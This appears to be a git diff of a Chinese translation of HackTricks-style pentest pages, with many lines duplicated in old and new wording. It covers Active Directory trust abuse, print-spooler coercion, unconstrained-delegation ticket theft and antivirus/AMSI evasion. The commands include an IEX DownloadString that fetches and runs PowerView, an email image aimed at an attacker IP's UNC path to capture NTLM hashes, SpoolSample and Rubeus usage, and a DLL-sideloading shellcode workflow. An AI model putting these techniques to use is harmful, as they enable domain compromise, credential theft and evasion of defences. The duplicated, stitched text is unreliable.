4. 跨域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
5. 客户端将跨域 TGT 带到**域 2 的域控制器 (DC2)**。
6. DC2 使用其共享信任密钥验证跨域 TGT如果有效则为客户端想要访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
2. 如果客户端成功通过身份验证DC1 发出新的 TGT。
3. 客户端然后向 DC1 请求一个**跨域 TGT**,该 TGT 是访问**域 2**中资源所需的。
4. 跨域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
5. 客户端将跨域 TGT 带到**域 2 的域控制器 (DC2)**。
6. DC2 使用其共享信任密钥验证跨域 TGT如果有效则为客户端想要访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
7. 最后,客户端将此 TGS 提交给服务器,该 TGS 使用服务器的账户哈希进行加密,以获取对域 2 中服务的访问权限。
### 不同的信任
重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的域。在最后一种情况下,**您只能从受信任的域访问信任域内的资源**。
如果域 A 信任域 BA 是信任域B 是受信任域。此外,在**域 A**中,这将是**出站信任**;在**域 B**中,这将是**入站信任**。
如果域 A 信任域 BA 是信任域B 是受信任域。此外,在**域 A**中,这将是**出站信任**在**域 B**中,这将是**入站信任**。
**不同的信任关系**
- **父子信任**:这是同一森林的常见设置,子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
- **交叉链接信任**:称为“快捷信任”,这些是在子域之间建立的,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根部上行,然后再向目标域下行。通过创建交叉链接,旅程缩短,这在地理分散的环境中尤其有利。
- **外部信任**:这些是在不同的、不相关的域之间建立的,具有非传递性。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过 SID 过滤增强安全性
- **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林中非常重要,使它们能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
- **森林信任**:这种类型的信任是两个森林根域之间的双向传递信任,也实施 SID 过滤以增强安全措施。
- **父子信任**:这是同一森林的常见设置,子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
- **交叉链接信任**称为“快捷信任”,这些是在子域之间建立的,以加快引用过程。在复杂的森林中,身份验证引用通常必须向森林根部上行,然后再向目标域下行。通过创建交叉链接,旅程得以缩短,这在地理分散的环境中特别有利。
- **外部信任**:这些是在不同的、不相关的域之间建立的,具有非传递性。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过对外部信任进行 SID 过滤,安全性得以增强
- **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林非常重要,使其能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
- **森林信任**:这种类型的信任是两个森林根域之间的双向传递信任,也强制执行 SID 过滤以增强安全措施。
- **MIT 信任**:这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) 的 Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
#### **信任关系中的其他差异**
- 信任关系也可以是**传递的**A 信任 BB 信任 C则 A 信任 C或**非传递的**。
- 信任关系可以设置为**双向信任**(彼此信任)或**单向信任**(只有其中一个信任另一个)。
- 信任关系可以设置为**双向信任**(彼此信任)或**单向信任**(只有一个信任另一个)。
### 攻击路径
1. **枚举**信任关系
2. 检查是否有任何**安全主体**(用户/组/计算机)对**其他域**的资源具有**访问**权限,可能通过 ACE 条目或通过在其他域的组中。寻找**跨域关系**(信任可能是为此创建的)。
2. 检查是否有任何**安全主体**(用户/组/计算机)对**其他域**的资源具有**访问**权限,可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域关系**(信任可能是为此创建的)。
1. 在这种情况下kerberoast 可能是另一个选项。
3. **妥协**可以**跨域**进行**转移**的**账户**。
3. **妥协**可以**跨域**转移的**账户**。
攻击者可以通过三种主要机制访问另一个域中的资源:
- **本地组成员资格**:主体可能被添加到机器上的本地组中,例如服务器上的“管理员”组,从而授予他们对该机器的重大控制。
- **外部域组成员资格**:主体也可以是外部域中组的成员。然而,方法的有效性取决于信任的性质和组的范围。
- **外部域组成员资格**:主体也可以是外部域中组的成员。然而,这种方法的有效性取决于信任的性质和组的范围。
- **访问控制列表 (ACL)**:主体可能在**ACL**中被指定,特别是在**DACL**中的**ACE**内,提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人,名为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。
### 子到父森林权限提升
@ -564,7 +564,7 @@ WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
> [!WARNING]
> 有 **2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_。\
> 这里**2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_。\
> 您可以使用以下命令查看当前域使用的密钥:
>
> ```bash
@ -582,7 +582,7 @@ sid-history-injection.md
#### 利用可写的配置 NC
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中配置数据的中央存储库。该数据会复制到森林中的每个域控制器 (DC),可写的 DC 维护配置 NC 的可写副本。要利用这一点,必须在 DC 上拥有 **SYSTEM 权限**,最好是子 DC。
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 保持配置 NC 的可写副本。要利用这一点,必须在 DC 上拥有 **SYSTEM 权限**,最好是子 DC。
**将 GPO 链接到根 DC 站点**
@ -598,7 +598,7 @@ sid-history-injection.md
**架构变更攻击**
此方法需要耐心,等待新特权 AD 对象的创建。拥有 SYSTEM 权限的攻击者可以修改 AD 架构,以授予任何用户对所有类的完全控制。这可能导致对新创建的 AD 对象的未经授权的访问和控制。
此方法需要耐心,等待新特权 AD 对象的创建。通过 SYSTEM 权限,攻击者可以修改 AD 架构,以授予任何用户对所有类的完全控制。这可能导致对新创建的 AD 对象的未经授权的访问和控制。
进一步阅读可在 [架构变更信任攻击](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) 中找到。
@ -606,7 +606,7 @@ sid-history-injection.md
ADCS ESC5 漏洞针对对公钥基础设施 (PKI) 对象的控制,以创建一个证书模板,使其能够作为森林中的任何用户进行身份验证。由于 PKI 对象位于配置 NC 中,危害可写的子 DC 使得执行 ESC5 攻击成为可能。
有关此内容的更多详细信息,请阅 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下,攻击者有能力设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
有关更多详细信息,请阅 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下,攻击者能够设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
### 外部森林域 - 单向(入站)或双向
```powershell
@ -637,17 +637,17 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
在这种情况下,**您的域**正在**信任**来自**不同域**的主体的一些**权限**。
在这种情况下,**您的域**正在向来自**不同域**的主体**信任**一些**权限**。
然而,当一个**域被信任**时,受信任的域**创建一个用户**,其**名称是可预测的**,并使用**受信任的密码**作为**密码**。这意味着可以**访问来自信任域的用户以进入受信任的域**,以枚举它并尝试提升更多权限:
然而,当一个**域被信任**时,受信任的域**创建一个用户**,其**名称是可预测的**,并使用**受信任的密码**作为**密码**。这意味着可以**访问来自信任域的用户以进入受信任的域**,以枚举它并尝试提升更多权限:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
另一种妥协受信任域的方法是找到一个**域信任的相反方向**创建的[**SQL受信任链接**](abusing-ad-mssql.md#mssql-trusted-links)(这并不常见)。
另一种妥协受信任域的方法是找在域信任的**相反方向**创建的[**SQL受信任链接**](abusing-ad-mssql.md#mssql-trusted-links)(这并不常见)。
另一种妥协受信任域的方法是在一台**受信任域用户可以访问**机器上等待,通过**RDP**登录。然后攻击者可以在RDP会话进程中注入代码并从那里**访问受害者的源域**。\
另一种妥协受信任域的方法是等待在一台**受信任域用户可以访问**机器上,通过**RDP**登录。然后攻击者可以在RDP会话进程中注入代码并从那里**访问受害者的源域**。\
此外,如果**受害者挂载了他的硬盘**,攻击者可以在**RDP会话**进程中将**后门**存储在**硬盘的启动文件夹**中。这种技术称为**RDPInception**。
{{#ref}}
@ -658,13 +658,13 @@ rdp-sessions-abuse.md
### **SID过滤**
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险SID过滤在所有跨森林信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为内部森林信任是安全的,这是微软的立场。
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险过滤在所有跨森林信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为内部森林信任是安全的,这是微软的立场。
- 然而有一个问题SID过滤可能会干扰应用程序和用户访问导致其偶尔被禁用。
### **选择性身份验证:**
### **选择性证:**
- 对于跨森林信任,采用选择性身份验证确保两个森林中的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是这些措施并不能保护免受可写配置命名上下文NC的利用或对信任户的攻击。
- 对于跨森林信任,采用选择性认证确保两个森林的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是这些措施并不能保护免受可写配置命名上下文NC的利用或对信任户的攻击。
[**有关域信任的更多信息请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -681,7 +681,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **凭据保护的防御措施**
- **域管理员限制**:建议仅允许域管理员登录到域控制器,避免在其他主机上使用。
- **服务户权限**服务不应以域管理员DA权限运行以保持安全。
- **服务户权限**服务不应以域管理员DA权限运行以保持安全。
- **临时权限限制**对于需要DA权限的任务其持续时间应有限制。这可以通过以下方式实现`Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **实施欺骗技术**
@ -693,14 +693,14 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **识别欺骗**
- **对于用户对象**可疑指标包括不典型的ObjectSID、少见的登录、创建日期和低错误密码计数。
- **一般指标**将潜在诱饵对象的属性与真实对象的属性进行比较可以揭示不一致性。像[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)这样的工具可以帮助识别这种欺骗。
- **一般指标**比较潜在诱饵对象的属性与真实对象的属性可以揭示不一致性。工具如[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)可以帮助识别此类欺骗。
### **绕过检测系统**
- **Microsoft ATA检测绕过**
- **用户枚举**避免在域控制器上进行会话枚举以防止ATA检测。
- **票据冒充**:利用**aes**密钥创建票据有助于避免检测因为不降级到NTLM。
- **DCSync攻击**建议从非域控制器执行以避免ATA检测因为直接从域控制器执行触发警报。
- **DCSync攻击**建议从非域控制器执行以避免ATA检测因为直接从域控制器执行触发警报。
## 参考文献

View File

@ -4,7 +4,7 @@
### Custom SSP
[了解什么是 SSP(安全支持提供者)这里。](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
[了解什么是 SSP (安全支持提供者) 在这里。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
您可以创建您自己的 **SSP****捕获****明文** 形式使用的 **凭据** 以访问机器。
#### Mimilib

View File

@ -8,8 +8,8 @@
## Spooler Service Abuse
如果 _**Print Spooler**_ 服务 **启用** 您可以使用一些已知的 AD 凭据 **请求** 域控制器的打印服务器更新新打印作业,并告诉它 **将通知发送到某个系统**。\
请注意,当打印机将通知发送到任意系统时,它需要 **对该系统进行认证**。因此,攻击者可以使 _**Print Spooler**_ 服务对任意系统进行认证,并且该服务将在此认证中 **使用计算机账户**
如果 _**Print Spooler**_ 服务 **启用**,您可以使用一些已知的 AD 凭据向域控制器的打印服务器 **请求** 新打印作业的 **更新**,并告诉它 **将通知发送到某个系统**。\
请注意,当打印机将通知发送到任意系统时,它需要 **对该系统进行认证**。因此,攻击者可以使 _**Print Spooler**_ 服务对任意系统进行认证,该服务将在此认证中 **使用计算机账户**
### 在域中查找 Windows 服务器
@ -19,12 +19,12 @@ Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (Operati
```
### 查找监听的Spooler服务
使用稍微修改过的@mysmartloginVincent Le Toux的[SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)查看Spooler服务是否在监听
使用稍微修改过的@mysmartloginVincent Le Toux [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)查看Spooler服务是否在监听
```bash
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
```
您还可以在 Linux 上使用 rpcdump.py 并查找 MS-RPRN 协议。
您还可以在Linux上使用rpcdump.py并查找MS-RPRN协议。
```bash
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
```
@ -57,7 +57,7 @@ https://github.com/p0dalirius/Coercer
## 在Windows内部
如果您已经在Windows机器内部可以使用特权帐户强制Windows连接到服务器方法是
如果您已经在Windows机器内部可以使用以下方法强制Windows使用特权帐户连接到服务器
### Defender MpCmdRun
```bash
@ -90,7 +90,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
### 通过电子邮件
如果你知道想要攻陷的机器上用户的 **电子邮件地址**,你可以给他发送一封 **带有 1x1 图像** 的电子邮件,例如
如果你知道想要攻陷的机器上用户的 **电子邮件地址**,你可以直接给他发送一封 **带有 1x1 图像** 的电子邮件,例如
```html
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
```
@ -104,7 +104,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
```
## 破解 NTLMv1
如果你能捕获 [NTLMv1 挑战,请阅读如何破解它们](../ntlm/#ntlmv1-attack)。\
如果你能捕获 [NTLMv1 挑战,请阅读如何破解它们](../ntlm/index.html#ntlmv1-attack)。\
&#xNAN;_&#x52;请记住,为了破解 NTLMv1你需要将 Responder 挑战设置为 "1122334455667788"_
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,11 +4,11 @@
## Unconstrained delegation
这是一个域管理员可以设置在域内任何**计算机**上的功能。然后,每当**用户登录**到该计算机时,该用户的**TGT副本**将被**发送到DC提供的TGS中**并**保存在LSASS的内存中**。因此,如果您在该机器上拥有管理员权限,您将能够**转储票证并冒充用户**在任何机器上。
这是一个域管理员可以设置为域内任何**计算机**的功能。然后,每当**用户登录**到该计算机时,该用户的**TGT副本**将被**发送到DC提供的TGS中**并**保存在LSASS的内存中**。因此,如果您在该机器上拥有管理员权限,您将能够**转储票证并冒充用户**在任何机器上。
因此,如果域管理员登录到启用了“无约束委派”功能的计算机,并且您在该机器上拥有本地管理员权限,您将能够转储票证并在任何地方冒充域管理员(域权限提升)。
您可以通过检查[userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>)属性是否包含[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>)来**查找具有此属性的计算机对象**。您可以使用LDAP过滤器(userAccountControl:1.2.840.113556.1.4.803:=524288)’来执行此操作,这正是powerview所做的
您可以通过检查[userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>)属性是否包含[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>)来**查找具有此属性的计算机对象**。您可以使用LDAP过滤器(userAccountControl:1.2.840.113556.1.4.803:=524288)’来做到这一点,这就是powerview所做的
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
## Powerview
@ -23,20 +23,20 @@ kerberos::list /export #Another way
# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:&#x3C;username> /interval:10 #Check every 10s for new TGTs</code></pre>
使用**Mimikatz**或**Rubeus**在内存中加载管理员(或受害者用户)的票证以进行[**票证传递**](pass-the-ticket.md)**。**\
使用**Mimikatz**或**Rubeus**在内存中加载管理员(或受害者用户)的票证以进行[**Pass the Ticket**](pass-the-ticket.md)**。**\
更多信息:[https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
[**有关无约束委派的更多信息请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
### **强制身份验证**
如果攻击者能够**攻陷允许“无约束委派”的计算机**,他可以**欺骗**一个**打印服务器**,使其**自动登录**并**在服务器的内存中保存TGT**。\
然后,攻击者可以执行**票证传递攻击以冒充**用户打印服务器计算机帐户。
然后,攻击者可以执行**Pass the Ticket攻击以冒充**用户打印服务器计算机帐户。
要使打印服务器登录到任何机器,您可以使用[**SpoolSample**](https://github.com/leechristensen/SpoolSample)
要使打印服务器登录到任何机器,您可以使用[**SpoolSample**](https://github.com/leechristensen/SpoolSample):
```bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
```
如果 TGT 来自域控制器,您可以执行一个[ **DCSync 攻击**](acl-persistence-abuse/#dcsync)并从 DC 获取所有哈希。\
如果 TGT 来自域控制器,您可以执行一个[ **DCSync attack**](acl-persistence-abuse/index.html#dcsync) 并从 DC 获取所有哈希值。\
[**有关此攻击的更多信息,请访问 ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
**以下是尝试强制身份验证的其他方法:**

View File

@ -18,24 +18,24 @@
- **混淆**
有时你只需要更改二进制文件或脚本中的一些字符串,就可以让它通过AV但这可能是一个耗时的任务具体取决于你想混淆的内容。
有时你只需要更改二进制文件或脚本中的一些字符串就能通过AV但这可能是一个耗时的任务具体取决于你想混淆的内容。
- **自定义工具**
如果你开发自己的工具,不会有已知的恶意签名,但这需要大量的时间和精力。
如果你开发自己的工具,不会有已知的恶意签名,但这需要大量的时间和精力。
> [!NOTE]
> 检查Windows Defender静态检测的一个好方法是 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它基本上将文件分成多个部分然后让Defender逐个扫描这样可以准确告诉你在二进制文件中标记的字符串或字节。
> 检查Windows Defender静态检测的一个好方法是 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它基本上将文件分成多个部分然后让Defender逐个扫描这样可以准确告诉你在二进制文件中标记的字符串或字节。
我强烈建议你查看这个关于实用AV规避的 [YouTube播放列表](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)。
我强烈建议你查看这个 [YouTube播放列表](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)关于实用的AV规避
### **动态分析**
动态分析是指AV在沙箱中运行你的二进制文件并监视恶意活动例如解密并读取浏览器的密码执行LSASS的minidump等。这部分可能更难处理,但这里有一些你可以做的事情来规避沙箱。
动态分析是指AV在沙箱中运行你的二进制文件并监视恶意活动例如试解密并读取浏览器的密码执行LSASS的minidump等。这部分可能更难处理但这里有一些你可以做的事情来规避沙箱。
- **执行前眠** 根据实现方式这可能是绕过AV动态分析的好方法。AV扫描文件的时间非常短以免打断用户的工作流程因此使用长时间的睡眠可以干扰二进制文件的分析。问题是许多AV的沙箱可以根据实现方式跳过睡眠。
- **检查机器资源** 通常沙箱可用的资源非常少(例如,< 2GB RAM否则它们可能会减慢用户的机器你也可以在这里发挥创造力例如检查CPU的温度或风扇速度并不是所有内容都会在沙箱中实现
- **特定机器检查** 如果你想针对加入“contoso.local”域的用户的工作站你可以检查计算机的域以查看是否与指定的匹配,如果不匹配,你可以让程序退出。
- **执行前眠** 根据实现方式这可能是绕过AV动态分析的好方法。AV扫描文件的时间非常短以免打断用户的工作流程因此使用长时间的休眠可以干扰二进制文件的分析。问题是许多AV的沙箱可以根据实现方式跳过休眠。
- **检查机器资源** 通常沙箱可用的资源非常少(例如,< 2GB RAM否则可能会减慢用户的机器你也可以在这里发挥创造力例如检查CPU的温度或风扇速度并不是所有内容都会在沙箱中实现
- **特定机器检查** 如果你想针对加入“contoso.local”域的用户的工作站你可以检查计算机的域是否与指定的匹配如果不匹配你可以让程序退出。
事实证明Microsoft Defender的沙箱计算机名是HAL9TH因此你可以在恶意软件引爆前检查计算机名如果名称匹配HAL9TH则意味着你在Defender的沙箱中因此可以让程序退出。
@ -45,7 +45,7 @@
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev频道</p></figcaption></figure>
正如我们在这篇文章中之前所说**公共工具**最终会被**检测到**,所以你应该问自己一个问题:
正如我们在这篇文章中之前所说,**公共工具**最终会被**检测到**,所以你应该问自己一个问题:
例如如果你想转储LSASS**你真的需要使用mimikatz吗**或者你可以使用一个不太知名的项目来转储LSASS。
@ -56,11 +56,11 @@
## EXEs与DLLs
只要可能,始终**优先使用DLL进行规避**根据我的经验DLL文件通常**被检测和分析的概率要低得多**,因此在某些情况下使用它来避免检测是一个非常简单的技巧当然如果你的有效载荷有某种方式以DLL的形式运行
只要可能,始终**优先使用DLL进行规避**根据我的经验DLL文件通常**被检测和分析的概率要低得多**,因此在某些情况下使用它是一个非常简单的技巧当然如果你的有效载荷有某种方式以DLL的形式运行
正如我们在这张图片中看到的Havoc的DLL有效载荷在antiscan.me上的检测率为4/26而EXE有效载荷的检测率为7/26。
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me对正常Havoc EXE有效载荷与正常Havoc DLL的比较</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me对普通Havoc EXE有效载荷与普通Havoc DLL的比较</p></figcaption></figure>
现在我们将展示一些你可以使用DLL文件的技巧以便更加隐蔽。
@ -68,22 +68,22 @@
**DLL侧载**利用加载程序使用的DLL搜索顺序通过将受害者应用程序和恶意有效载荷并排放置来实现。
你可以使用 [Siofra](https://github.com/Cybereason/siofra) 和以下PowerShell脚本检查易受DLL侧载攻击的程序:
你可以使用 [Siofra](https://github.com/Cybereason/siofra) 和以下PowerShell脚本检查易受DLL侧载影响的程序:
```powershell
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
此命令将输出在 "C:\Program Files\\" 中易受 DLL 劫持影响的程序列表及其尝试加载的 DLL 文件。
此命令将输出“C:\Program Files\\”中易受DLL劫持影响的程序列表及其尝试加载的DLL文件。
我强烈建议你**自己探索可被 DLL 劫持/侧载的程序**,如果正确执行,这种技术相当隐蔽,但如果你使用公开已知的 DLL 侧载程序,可能会很容易被抓住。
我强烈建议您**自己探索可被DLL劫持/侧载的程序**如果正确执行这种技术相当隐蔽但如果您使用公开已知的DLL侧载程序,可能会很容易被抓住。
仅仅通过放置一个恶意 DLL其名称是程序期望加载的名称并不会加载你的有效载荷,因为程序期望该 DLL 中有一些特定的函数。为了解决这个问题,我们将使用另一种技术,称为**DLL 代理/转发**。
仅仅放置一个恶意DLL其名称是程序期望加载的名称并不会加载您的有效载荷因为程序期望该DLL中有一些特定的函数。为了解决这个问题,我们将使用另一种技术,称为**DLL代理/转发**。
**DLL 代理**将程序从代理和恶意DLL 发出的调用转发到原始 DLL从而保留程序的功能并能够处理你的有效载荷的执行。
**DLL代理**将程序从代理和恶意DLL发出的调用转发到原始DLL从而保留程序的功能并能够处理您的有效载荷的执行。
我将使用 [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) 项目来自 [@flangvik](https://twitter.com/Flangvik/)
我将使用[@flangvik](https://twitter.com/Flangvik/)的[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)项目。
以下是我遵循的步骤:
```
@ -92,14 +92,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
最后一个命令将给我们两个文件:一个 DLL 源代码模板和原始重命名的 DLL。
最后命令将给我们两个文件:一个 DLL 源代码模板和重命名原始 DLL。
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
这些是结果:
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
我们的 shellcode使用 [SGN](https://github.com/EgeBalci/sgn) 编码)和代理 DLL 在 [antiscan.me](https://antiscan.me) 上的检测率为 0/26我认为这是一个成功。
@ -107,7 +105,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> 我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading 的内容,以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG_WNpE) 以更深入地了解我们讨论的内容。
> 我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG_WNpE) 以更深入地了解我们讨论的内容。
## [**Freeze**](https://github.com/optiv/Freeze)
@ -123,11 +121,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> 规避只是猫和老游戏,今天有效的方法明天可能会被检测到,因此永远不要仅依赖一个工具,如果可能的话,尝试将多个规避技术结合起来
> 规避只是猫鼠游戏,今天有效的方法明天可能会被检测到,因此永远不要仅依赖一个工具,如果可能,尝试将多个规避技术结合使用
## AMSI反恶意软件扫描接口
AMSI的创建是为了防止“[无文件恶意软件](https://en.wikipedia.org/wiki/Fileless_malware)”。最初AV只能扫描**磁盘上的文件**,因此如果你能够以某种方式**直接在内存中**执行有效载荷AV就无法采取任何措施来阻止,因为它没有足够的可见性。
AMSI的创建是为了防止“[无文件恶意软件](https://en.wikipedia.org/wiki/Fileless_malware)”。最初AV只能扫描**磁盘上的文件**,因此如果你能够以某种方式**直接在内存中执行有效载荷**AV就无法采取任何措施来阻止因为它没有足够的可见性。
AMSI功能集成在Windows的以下组件中。
@ -137,13 +135,13 @@ AMSI功能集成在Windows的以下组件中。
- JavaScript和VBScript
- Office VBA宏
它允许杀毒解决方案通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
它允许杀毒软件通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
运行`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`将在Windows Defender上产生以下警报。
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
注意它如何在脚本运行的可执行文件路径前加上`amsi:`在这种情况下是powershell.exe。
注意它如何在前面加上`amsi:`,然后是脚本运行的可执行文件路径在这种情况下是powershell.exe。
我们没有将任何文件写入磁盘但仍然因为AMSI在内存中被捕获。
@ -153,7 +151,7 @@ AMSI功能集成在Windows的以下组件中。
由于AMSI主要依赖静态检测因此修改你尝试加载的脚本可能是规避检测的好方法。
然而AMSI有能力解混淆脚本即使它有多层因此混淆可能是一个糟糕的选择这取决于它的实现方式。这使得规避变得不那么简单。尽管有时,你所需要做的只是更改几个变量名称,你就可以成功,因此这取决于某个内容被标记的程度。
然而AMSI有能力解混淆脚本即使它有多层因此混淆可能是一个糟糕的选择具体取决于其实现方式。这使得规避变得不那么简单。尽管有时,你只需要更改几个变量名称就可以了,所以这取决于某个内容被标记的程度。
- **AMSI绕过**
@ -161,11 +159,11 @@ AMSI功能集成在Windows的以下组件中。
**强制错误**
强制AMSI初始化失败amsiInitFailed将导致当前进程不会启动扫描。最初这是由[Matt Graeber](https://twitter.com/mattifestation)披露的,微软已经开发了一签名以防止更广泛的使用。
